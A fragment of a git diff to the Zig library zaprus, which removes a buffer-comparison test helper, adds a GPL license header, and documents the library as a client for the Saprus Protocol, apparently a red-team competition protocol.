-        try expectEqualMessageBuffers(&expected, res);
-    }
-}
-
-// Skip checking the length / checksum, because that is undefined.
-fn expectEqualMessageBuffers(expected: []const u8, actual: []const u8) !void {
-    try std.testing.expectEqualSlices(u8, expected[0..2], actual[0..2]);
-    try std.testing.expectEqualSlices(u8, expected[4..], actual[4..]);
-}
+const relay_dest_len = 4;
 
 const std = @import("std");
 const Allocator = std.mem.Allocator;
@@ -207,5 +234,5 @@ const Writer = std.Io.Writer;
 const Reader = std.Io.Reader;
 
 test {
-    std.testing.refAllDeclsRecursive(@This());
+    std.testing.refAllDecls(@This());
 }
diff --git a/src/root.zig b/src/root.zig
index f7efb7b..2a847fc 100644
--- a/src/root.zig
+++ b/src/root.zig
@@ -1,12 +1,29 @@
-pub const Client = @import("Client.zig");
-pub const Connection = @import("Connection.zig");
+// Copyright 2026 Robby Zambito
+//
+// This file is part of zaprus.
+//
+// Zaprus is free software: you can redistribute it and/or modify it under the
+// terms of the GNU General Public License as published by the Free Software
+// Foundation, either version 3 of the License, or (at your option) any later
+// version.
+//
+// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY
+// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
+// A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License along with
+// Zaprus. If not, see <https://www.gnu.org/licenses/>.
 
-const msg = @import("message.zig");
+//! The Zaprus library is useful for implementing clients that interact with the [Saprus Protocol](https://gitlab.com/c2-games/red-team/saprus).
+//!
+//! The main entrypoint into this library is the `Client` type.
+//! It can be used to send fire and forget messages, and establish persistent connections.
+//! It is up to the consumer of this library to handle non-management message payloads.
+//! The library handles management messages automatically (right now, just ping).
 
-pub const PacketType = msg.PacketType;
-pub const MessageTypeError = msg.MessageTypeError;
-pub const MessageParseError = msg.MessageParseError;
-pub const Message = msg.Message;
+pub const Client = @import("Client.zig");
+pub const Connection = @import("Connection.zig");
+pub const Message = @import("message.zig").Message;
 
 test {
     @import("std").testing.refAllDecls(@This());